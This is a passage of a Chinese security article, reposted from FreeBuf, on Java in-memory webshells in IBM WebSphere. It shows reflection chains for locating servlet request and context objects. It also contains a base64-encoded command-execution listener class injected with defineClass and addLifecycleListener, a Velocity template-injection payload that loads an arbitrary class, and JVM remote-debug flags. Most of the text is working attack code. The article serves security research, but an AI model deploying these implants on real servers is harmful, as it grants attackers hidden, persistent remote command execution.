me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj0,"thr eadLocals");    // {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;}    Object obj2 = ((java.util.Map) obj1).get("table");    // {java.lang.ThreadLocal$ThreadLocalMap$Entry}    Object obj3 = java.lang.reflect.Array.get(obj2, 11);    // {com.ibm.ws.util.objectpool.LocalThreadObjectPool}    Object obj4 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj3,"val ue");    // {class [Ljava.lang.Object;}    Object obj5 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj4,"fre e");    // {com.ibm.io.async.CompletedFutureWorkItem}    Object obj6 = java.lang.reflect.Array.get(obj5, 0);    // {com.ibm.io.async.AsyncFuture}    Object obj7 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj6,"fut ure");    // {com.ibm.io.async.AsyncSocketChannel}    Object obj8 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj7,"cha nnel");    // {com.ibm.ws.channel.framework.impl.InboundVirtualConnectionImpl}    Object obj9 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj8,"cha nnelVCI");    // {interface java.util.Map}    Object obj10 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj9,"sta teStore");    // {com.ibm.ws.webcontainer.channel.WCChannelLink}    Object obj11 = ((java.util.Map) obj10).get("WCChannelLink");    // {com.ibm.ws.webcontainer.channel.WCCRequestImpl}    Object obj12 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj11,"re quest");

这个是当前的

TargetObject = {com.ibm.ws.util.ThreadPool$Worker}    ---> threadLocals = {java.lang.ThreadLocal$ThreadLocalMap}     ---> table = {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;}      ---> [11] = {java.lang.ThreadLocal$ThreadLocalMap$Entry}       ---> value = {com.ibm.ws.util.objectpool.LocalThreadObjectPool}        ---> free = {class [Ljava.lang.Object;}         ---> [0] = {com.ibm.io.async.CompletedFutureWorkItem}          ---> future = {com.ibm.io.async.AsyncFuture}             ---> firstListenerState = {com.ibm.ws.tcp.channel.impl.AioTCPReadRequestContextImpl} idea_express:    Object obj0 = TargetObject;    // {java.lang.ThreadLocal$ThreadLocalMap}    Object obj1 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj0,"thr eadLocals");    // {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;}    Object obj2 = ((java.util.Map) obj1).get("table");    // {java.lang.ThreadLocal$ThreadLocalMap$Entry}    Object obj3 = java.lang.reflect.Array.get(obj2, 11);    // {com.ibm.ws.util.objectpool.LocalThreadObjectPool}    Object obj4 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj3,"val ue");    // {class [Ljava.lang.Object;}    Object obj5 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj4,"fre e");    // {com.ibm.io.async.CompletedFutureWorkItem}    Object obj6 = java.lang.reflect.Array.get(obj5, 0);    // {com.ibm.io.async.AsyncFuture}    Object obj7 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj6,"fut ure");    // {com.ibm.ws.tcp.channel.impl.AioTCPReadRequestContextImpl}    Object obj8 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj7,"fir stListenerState");
Object obj0 = Thread.currentThread(); // {java.lang.ThreadLocal$ThreadLocalMap} Object obj1 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj0,"thr eadLocals"); // {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;} Object obj2 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj1,"tab le"); int count = java.lang.reflect.Array.getLength(obj2); for (int i = 0; i < count; i++) {    // {java.lang.ThreadLocal$ThreadLocalMap$Entry}    Object obj3 = java.lang.reflect.Array.get(obj2, i);    if (obj3==null || !obj3.getClass().getName().contains("ThreadLocalMap$Entry") ) {        continue;   }    // {com.ibm.ws.util.objectpool.LocalThreadObjectPool}    Object obj4 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj3,"val ue");    if (obj4 == null || !obj4.getClass().getName().contains("LocalThreadObjectPool")) {        continue;   } // {class [Ljava.lang.Object;}    Object obj5 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj4,"fre e");    Object[] free = (Object[]) obj5;    for (int j = 0; j < free.length; j++) {        // {com.ibm.io.async.CompletedFutureWorkItem}        Object obj6 = free[j];        if (obj6==null || !obj6.getClass().getName().contains("CompletedFutureWorkItem") ) {            continue;       } // {com.ibm.io.async.AsyncFuture}        Object obj7 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj6,"fut ure");        // {com.ibm.ws.tcp.channel.impl.AioTCPReadRequestContextImpl}      Object obj8 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj7,"fir stListenerState");        return obj8;   } }

3.7.5. 基于Thread.currentThread()定位context

TargetObject = {com.ibm.ws.util.ThreadPool$Worker}  ---> wsThreadLocals = {class [Ljava.lang.Object;}   ---> [16] = {com.ibm.ejs.util.FastStack}    ---> stack = {class [Ljava.lang.Object;}     ---> [1] = {com.ibm.ws.webcontainer.metadata.WebComponentMetaDataImpl}      ---> config = {com.ibm.ws.webcontainer.servlet.ServletConfigImpl}       ---> context = {com.ibm.wsspi.webcontainer.facade.ServletContextFacade}        ---> context = {com.ibm.ws.webcontainer.webapp.WebAppImpl} idea_express:    Object obj0 = TargetObject;    // {class [Ljava.lang.Object;}    Object obj1 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj0,"wsT hreadLocals");    // {com.ibm.ejs.util.FastStack}    Object obj2 = java.lang.reflect.Array.get(obj1, 16);    // {class [Ljava.lang.Object;}    Object obj3 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj2,"sta ck");    // {com.ibm.ws.webcontainer.metadata.WebComponentMetaDataImpl}    Object obj4 = java.lang.reflect.Array.get(obj3, 1);    // {com.ibm.ws.webcontainer.servlet.ServletConfigImpl}    Object obj5 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj4,"con fig");    // {com.ibm.wsspi.webcontainer.facade.ServletContextFacade}    Object obj6 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj5,"con text");    // {com.ibm.ws.webcontainer.webapp.WebAppImpl}    Object obj7 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj6,"con text");
Object obj0 = Thread.currentThread(); // {class [Ljava.lang.Object;} Object obj1 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj0,"wsT hreadLocals"); Object[] wsThreadLocals = (Object[])  obj1; Object a; for (int i = 0; i < wsThreadLocals.length; i++) {    // {com.ibm.ejs.util.FastStack}    Object obj2 = wsThreadLocals[i];    if (obj2 == null || !obj2.getClass().getName().contains("FastStack")) {        continue;   }    try {        // {class [Ljava.lang.Object;}        Object obj3 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj2,"sta ck");        Object[] stack = (Object[])obj3;        for (int j = 0; j < stack.length; j ++) {            // {com.ibm.ws.webcontainer.metadata.WebComponentMetaDataImpl}            Object obj4 = stack[j];            if (obj4 == null || !obj4.getClass().getName().contains("WebComponentMetaDataImpl")) {                continue;           }            // {com.ibm.ws.webcontainer.servlet.ServletConfigImpl}            Object obj5 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj4,"con fig");            // {com.ibm.wsspi.webcontainer.facade.ServletContextFacade}            Object obj6 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj5,"con text");            // {com.ibm.ws.webcontainer.webapp.WebAppImpl}            Object obj7 = me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj6,"con text");            a = obj6;       }   }catch (Exception ignored) {   }}

3.7.6. 定位context的全局方法

Object webContainer =  getMethodByClass(Class.forName("com.ibm.ws.webcontainer.WebCont ainer", true, classloader), "getWebContainer", new Class[0]).invoke(null, new Object[0]); Object requestMapper = getFieldValue(webContainer,"requestMapper"); Object webGroup = invoke(requestMapper,"map", new Object[] {":9080/visor_externo/*"}); Object webapp = getFieldValue(webGroup,"webApp");

3.7.7. 方案

通过 Thread.currentThread() 定位 context ,然后通过 context 获取request,从而实现回显

根据堆栈分析,总结一下request以及response对象的生成,在7中,每个SRTServletRequest都是基于WCCRequestImpl新建的,就会导致无法拿到一模一样的SRTServletRequest,虽然有个缓存队列,但每次请求都会取出来,无法获取到。AioTCPReadRequestContextImpl->(WCCRequestImpl,WCCResponseImpl)->getConnectionContext新建上下文,并传入之前两个变量->(SRTServletRequest,SRTServletResponse)

一文深度学习java内存马3.7.8. 内存马注入

byte[] classBytes = new BASE64Decoder().decodeBuffer("yv66vgAAADIBKwoAEACkCQBMAKUIAKYJAE wApwgAqAgAqQoAqgCrCgAZAKwIAK0KABkArggAaQoATACvCABqBwCwCABiBwCxCg BMALIKALMAtAcAtQsAEwC2CgBMALcHALgIAHMKAEwAuQcAuggAuwgAvAgAvQgAvg oAvwDACgC/AMEKAMIAwwcAxAoAIQDFCADGCgAhAMcKACEAyAoAIQDJCADKCADLCA DMCgAZAM0IAM4IAM8KABkA0AoAGQDRCADSCwAWANMLABYA1AoA1QDWCgDVANcKAN UA2AoADgDZCADaCwATANsIANwKABkA3QgA3ggA3wcA4AoAEADhCgBFAOIKAEUA4w oAPADkCgA8AOUHAOYKAEIApAoAQgDnBwDoCgBCAOkHAKEKAEwA6goA6wDsCgBFAO 0KAOsA5AcA7gcA7wEACXJlc3BvbnNlMQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSH R0cFNlcnZsZXRSZXNwb25zZTsBAANwd2QBABJMamF2YS9sYW5nL1N0cmluZzsBAB ByZXF1ZXN0RGVzdHJveWVkAQAmKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZX N0RXZlbnQ7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYW JsZVRhYmxlAQAEdGhpcwEAK0x0b29scy9tZW0vc2hlbGxzL2xpc3RlbmVyL3Rlc3 RDbWRMaXN0ZW5lcjsBABNzZXJ2bGV0UmVxdWVzdEV2ZW50AQAjTGphdmF4L3Nlcn ZsZXQvU2VydmxldFJlcXVlc3RFdmVudDsBAAY8aW5pdD4BAAMoKVYBAAVpc1dpbg EAAygpWgEABm9zbmFtZQEADVN0YWNrTWFwVGFibGUHALoBAAtnZXRSZXNwb25zZQ EAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIcmVxdW VzdDIBABJMamF2YS9sYW5nL09iamVjdDsBAAdpZ25vcmVkAQAVTGphdmEvbGFuZy 9FeGNlcHRpb247AQABZQEAB3JlcXVlc3QBAAhyZXNwb25zZQcAsQcAsAcAsAEAEn JlcXVlc3RJbml0aWFsaXplZAEAAWMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQACaW 4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAANjbWQBAAFzAQATTGphdmEvdXRpbC 9TY2FubmVyOwEAA291dAEACWhlYWRlck91dAEAJ0xqYXZheC9zZXJ2bGV0L2h0dH AvSHR0cFNlcnZsZXRSZXF1ZXN0OwcA7gcA8AcAtQcAuAcA8QcAcAcAxAEABWNoZW NrAQBSKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYX ZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTspWgEABWZsYWdzAQ ANZ2V0RmllbGRWYWx1ZQEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1 N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAEdmFyNgEABm1ldGhvZAEAGkxqYX ZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQACY3MBABFMamF2YS9sYW5nL0NsYXNzOw EAA29iagEACWZpZWxkTmFtZQEAAWYBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbG Q7BwDgBwDyBwDoAQAKRXhjZXB0aW9ucwEABmludm9rZQEASyhMamF2YS9sYW5nL0 9iamVjdDtMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9PYmplY3Q7KUxqYX ZhL2xhbmcvT2JqZWN0OwEAAm8xAQABaQEAAUkBAAdjbGFzc2VzAQAVTGphdmEvdX RpbC9BcnJheUxpc3Q7AQAEdmFyNwEACm1ldGhvZE5hbWUBAApwYXJhbWV0ZXJzAQ ATW0xqYXZhL2xhbmcvT2JqZWN0OwcA5gcAnAEAEGdldE1ldGhvZEJ5Q2xhc3MBAF EoTGphdmEvbGFuZy9DbGFzcztMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy 9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABJbTGphdmEvbGFuZy 9DbGFzczsBAApTb3VyY2VGaWxlAQApdGVzdENtZExpc3RlbmVyLmphdmEgZnJvbS BJbnB1dEZpbGVPYmplY3QMAFsAXAwATgBPAQAQcGFzc3dvcmRwYXNzd29yZAwAUA BRAQADMTExAQAHb3MubmFtZQcA8wwA9AD1DAD2APcBAAN3aW4MAPgA+QwAgwCEAQ 1 ATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEGphdmEvbGFuZy9PYmplY3QMAJIAkwcA8A wA+gD7AQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAwA/A D1DABiAGMBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQ wAXQBeAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwEACS9iaW4vYm FzaAEAAi1jBwD9DAD+AP8MAQABAQcBAgwBAwEEAQARamF2YS91dGlsL1NjYW5uZX IMAFsBBQEAAlxBDAEGAQcMAQgAXgwBCQD3AQAAAQABDQEAAlxyDAEKAQsBAAEKAQ ACXG4MAQwBDQwBDgEPAQAEdGVzdAwBEAERDAESARMHARQMARUBFgwBFwBcDAEYAF wMARkAXAEADkFjY2VwdC1FbmNvZGVkDAEaAPUBABNnemlwLCBkZWZsYXRlLCB0ZX N0DAEbARwBABBUcmFuc2Zlci1lbmNvZGVkAQAHY2h1bmtlZAEAF2phdmEvbGFuZy 9yZWZsZWN0L0ZpZWxkDAEdAR4MAR8BIAwBIQEeDAEiASMMASQAYwEAE2phdmEvdX RpbC9BcnJheUxpc3QMASUBHAEAD2phdmEvbGFuZy9DbGFzcwwBJgEnDACfAKAHAP IMAJIBKAwBKQEqAQApdG9vbHMvbWVtL3NoZWxscy9saXN0ZW5lci90ZXN0Q21kTG lzdGVuZXIBACRqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0TGlzdGVuZXIBAC FqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0RXZlbnQBABNqYXZhL2lvL0lucH V0U3RyZWFtAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAQamF2YS9sYW5nL1 N5c3RlbQEAC2dldFByb3BlcnR5AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS 9sYW5nL1N0cmluZzsBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbm c7AQAKc3RhcnRzV2l0aAEAFShMamF2YS9sYW5nL1N0cmluZzspWgEAEWdldFNlcn ZsZXRSZXF1ZXN0AQAgKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAA xnZXRQYXJhbWV0ZXIBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBAB UoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cm luZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2 V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS 9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1 N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEAB2hhc05leHQBAARuZXh0AQAHcm VwbGFjZQEARChMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTtMamF2YS9sYW5nL0NoYX JTZXF1ZW5jZTspTGphdmEvbGFuZy9TdHJpbmc7AQAGbGVuZ3RoAQADKClJAQAJc3 Vic3RyaW5nAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7AQAJc2V0SGVhZGVyAQAnKE xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylWAQAJZ2V0V3JpdG VyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABNqYXZhL2lvL1ByaW50V3JpdG VyAQAFd3JpdGUBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVmbHVzaAEABWNsb3 NlAQAPcHJpbnRTdGFja1RyYWNlAQAJZ2V0SGVhZGVyAQAGZXF1YWxzAQAVKExqYX ZhL2xhbmcvT2JqZWN0OylaAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3 M7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdm EvbGFuZy9yZWZsZWN0L0ZpZWxkOwEADWdldFN1cGVyY2xhc3MBAA1zZXRBY2Nlc3 NpYmxlAQAEKFopVgEAA2dldAEAA2FkZAEAB3RvQXJyYXkBACgoW0xqYXZhL2xhbm cvT2JqZWN0OylbTGphdmEvbGFuZy9PYmplY3Q7AQA5KExqYXZhL2xhbmcvT2JqZW N0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQARZ2V0RG VjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2 xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7ACEATAAQAAEATQACAAEATg BPAAAAAQBQAFEAAAAJAAEAUgBTAAEAVAAAADUAAAACAAAAAbEAAAACAFUAAAAGAA EAAAAVAFYAAAAWAAIAAAABAFcAWAAAAAAAAQBZAFoAAQABAFsAXAABAFQAAABQAA IAAQAAABYqtwABKgG1AAIqEgO1AAQqEgW1AASxAAAAAgBVAAAAFgAFAAAAFgAEAB AACQARAA8AFwAVABgAVgAAAAwAAQAAABYAVwBYAAAAAABdAF4AAQBUAAAAagACAA IAAAAYEga4AAdMK7YACEwrEgm2AAqZAAUErAOsAAAAAwBVAAAAFgAFAAAAGwAGAB wACwAdABQAHgAWACAAVgAAABYAAgAAABgAVwBYAAAABgASAF8AUQABAGAAAAAIAA H8ABYHAGEACgBiAGMAAQBUAAAA1QADAAQAAAAlAUwqEgu4AAxNLBINuAAMTKcAE0 0qEg8DvQAQuAARTKcABE4rsAACAAIAEAATAA4AFAAfACIADgADAFUAAAAmAAkAAA AkAAIAJgAJACcAEAAuABMAKAAUACoAHwAtACIAKwAjAC8AVgAAADQABQAJAAcAZA BlAAIAIwAAAGYAZwADABQADwBoAGcAAgAAACUAaQBlAAAAAgAjAGoAZQABAGAAAA AoAAP/ABMAAgcAawcAawABBwBs/wAOAAMHAGsHAGsHAG0AAQcAbPoAAAABAG4AUw ABAFQAAAJWAAQACgAAAOwrtgASwAATTSwqtAAEuQAUAgDGANksuAAVwAAWTgE6BC wSF7kAFAIAOgYZBscABLEqtgAYmQAbBr0AGVkDEhpTWQQSG1NZBRkGUzoFpwAYBr 0AGVkDEhxTWQQSHVNZBRkGUzoFuAAeGQW2AB+2ACA6BLsAIVkZBLcAIhIjtgAkOg cZB7YAJZkACxkHtgAmpwAFEic6CBkIEigSKbYAKhIrEiy2ACo6CRkItgAtEQfQpA ANGQgRB9C2AC46CC0SLxkJuQAwAwAtuQAxAQAZCLYAMi25ADEBALYAMy25ADEBAL YANKcACE4ttgA1sQACABUALwDmAA4AMADjAOYADgADAFUAAABiABgAAAAzAAgANQ AVADcAHQA/ACAAQQAqAEIALwBDADAARgA3AEcATwBJAGQASwBxAE0AgQBOAJUATw CnAFAAsgBRALwAUwDGAFQA0QBVANoAVgDjAFoA5gBYAOcAWQDrAF4AVgAAAHoADA BMAAMAbwBwAAUAHQDGAGoATwADACAAwwBxAHIABABkAH8AbwBwAAUAKgC5AHMAUQ AGAIEAYgB0AHUABwCVAE4AdgBRAAgApwA8AHcAUQAJAOcABABoAGcAAwAAAOwAVw BYAAAAAADsAFkAWgABAAgA5ABpAHgAAgBgAAAAYAAI/wAwAAcHAHkHAHoHAHsHAH wHAH0ABwBhAAAe/wAUAAcHAHkHAHoHAHsHAHwHAH0HAH4HAGEAAPwALAcAf0EHAG H9ACgHAGEHAGH/ACkAAwcAeQcAegcAewABBwBsBAAAAIAAgQABAFQAAACLAAMABA AAACQrEja5ADcCAE4txgAMLRI4tgA5mgAFA6wsEjoSO7kAMAMABKwAAAADAFUAAA AWAAUAAABhAAkAYgAWAGUAGABoACIAagBWAAAAKgAEAAAAJABXAFgAAAAAACQAaQ B4AAEAAAAkAGoATwACAAkAGwCCAFEAAwBgAAAACQAC/AAWBwBhAQAJAIMAhAACAF QAAAD4AAIABgAAAEIBTSrBADyZAAsqwAA8TacAKQFOKrYAPToEGQTGABwZBCu2AD 5NAToEp//xOgUZBLYAPzoEp//lLAS2AEAsKrYAQbAAAQAeACgAKwAOAAMAVQAAAD oADgAAAG8AAgBwAAkAcQARAHMAEwB0ABkAdgAeAHgAJQB5ACgAfAArAHoALQB7AD QAfAA3AIAAPACBAFYAAAA+AAYALQAHAIUAZwAFABMAJACGAIcAAwAZAB4AiACJAA QAAABCAIoAZQAAAAAAQgCLAFEAAQACAEAAjACNAAIAYAAAABgABPwAEQcAjv0ABw cAjwcAkFEHAGz5AAsAkQAAAAQAAQAOAIoAkgCTAAEAVAAAATIABAAGAAAAYLsAQl m3AENOLMYANAM2BBUELL6iACosFQQyOgUZBcYAEC0ZBbYAPbYARFenAAwtAcAAEL YARFeEBAGn/9UqtgA9Ky0DvQBFtgBGwABHwABHuABIOgQZBCostgBJsE4BsAABAA AAXABdAA4AAwBVAAAAMgAMAAAAhgAIAIcADACIABYAiQAcAIoAIQCLAC4AjQA3AI gAPQCSAFUAkwBdAJQAXgCVAFYAAABSAAgAHAAbAJQAZQAFAA8ALgCVAJYABAAIAF UAlwCYAAMAVQAIAIYAhwAEAF4AAgCZAGcAAwAAAGAAigBlAAAAAABgAJoAUQABAA 上下文是如下获取,可以看到webcontainer里包含了所有端口上跑的context,这样就 可以很轻松跨context进行操作了。 他是以ClauseNode为基础进行递归的,从而匹配到你要的node,获取最终的 context,每级node都有一个children存储下级的node,node存储在hashTable中 AAYACbAJwAAgBgAAAAKAAF/QAPBwCdAfwAHgcAa/oACPoABf8AHwADBwBrBwBhBw CeAAEHAGwAigCfAKAAAQBUAAAAtAADAAUAAAAjAU4qxgAeKisstgBKTgFLLQS2AE un/+46BCq2AD9Lp//kLbAAAQAGABQAFwAOAAMAVQAAACoACgAAAJsAAgCdAAYAnw ANAKAADwChABQApAAXAKIAGQCjAB4ApAAhAKcAVgAAADQABQAZAAUAhQBnAAQAAA AjAIgAiQAAAAAAIwCaAFEAAQAAACMAmwChAAIAAgAhAIYAhwADAGAAAAANAAP8AA IHAI9UBwBsCQABAKIAAAACAKM="); java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[] {byte[].class, int.class, int.class}); defineClassMethod.setAccessible(true); ; Class cc = (Class) defineClassMethod.invoke(new java.security.SecureClassLoader(Thread.currentThread().getClass( ).getClassLoader()), new Object[]{classBytes, new Integer(0), new Integer(classBytes.length)}); ((WebGroupImpl) WebContainer.getWebContainer().requestMapper.map(":9080/visor_ex terno/*")).webApp.addLifecycleListener(((EventListener)cc.newIns tance());

上下文是如下获取,可以看到webcontainer里包含了所有端口上跑的context,这样就可以很轻松跨context进行操作了。他是以ClauseNode为基础进行递归的,从而匹配到你要的node,获取最终的context,每级node都有一个children存储下级的node,node存储在hashTable中

一文深度学习java内存马

这里可以看到,端口的下一级就是匹配URI

一文深度学习java内存马URI匹配完,就到了最终的context

一文深度学习java内存马可以通过如下方式直接获取webgroup对象,而webapp里就存储着listener等属性,进一步就可以注入内存马了

一文深度学习java内存马
一文深度学习java内存马

4. agent注入

https://xz.aliyun.com/t/9450

一文深度学习java内存马

5. 技巧

5.1. SSTI

#set($s=""); #set($evil="b64xxxxx"); #set($evilb=$s.getClass().forName("sun.misc.BASE64Decoder").newI nstance().decodeBuffer($evil)); #set($ReflectUtils=$s.getClass().forName("org.springframework.cg lib.core.ReflectUtils").getDeclaredConstructor()) #set($classLoader=$s.getClass().forName("java.lang.Thread").curr entThread().getContextClassLoader()); $ReflectUtils.setAccessible(true); #set($ReflectUtilsObject=$ReflectUtils.newInstance()); #set($_=$ReflectUtilsObject.defineClass("Payload286011263666700" , $evilb, $classLoader)); #set($shellServlet=$classLoader.loadClass("Payload28601126366670 0").newInstance());

5.2. 远程调试

JDK5-8

- agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005

JDK9 or later

- agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005

针对一些第三方二进制文件封装了JVM而无法通过如上跟参数开启debug的话,可通过设置全局环境变量来实现,当然也适用于原生java.exe

set JAVA_TOOL_OPTIONS=-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,address=9999,server=y,suspend=n

远程类加载后,可以在本地也放一个相同的类,这样就能实现同步调试

5.3. dumpclass

有时候需要dump运行时内存,有些class实在找不到jar包位置(可能是动态代理生成的),或者内存马之类的。找到一个现成的项目 https://github.com/hengyunabc/dumpclass ,而且支持多个classloader场景。如果直接java -jar调用,会因为调用的是jre,而jre没有sa-jdi.jar而报错,所以可以找到java.exe的绝对路径,使用绝对路径,如下则可成功。

"C:Javajdk1.8.0_212binjava.exe" -jar dumpclass.jar -p 10820 com.seeyon.ctp.login.LoginHelper
一文深度学习java内存马

6. 参考

https://blog.csdn.net/sinat_29846389/article/details/122513297https://github.com/pen4uin/awesome-java-security/blob/main/middleware/resin/note/README.mdhttps://github.com/feihong-cs/memShell

【来源】:https://www.freebuf.com/articles/web/412189.html
【作者】:初音

原文始发于微信公众号(船山信安):一文深度学习java内存马

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月3日09:43:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一文深度学习java内存马https://cn-sec.com/archives/3462039.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息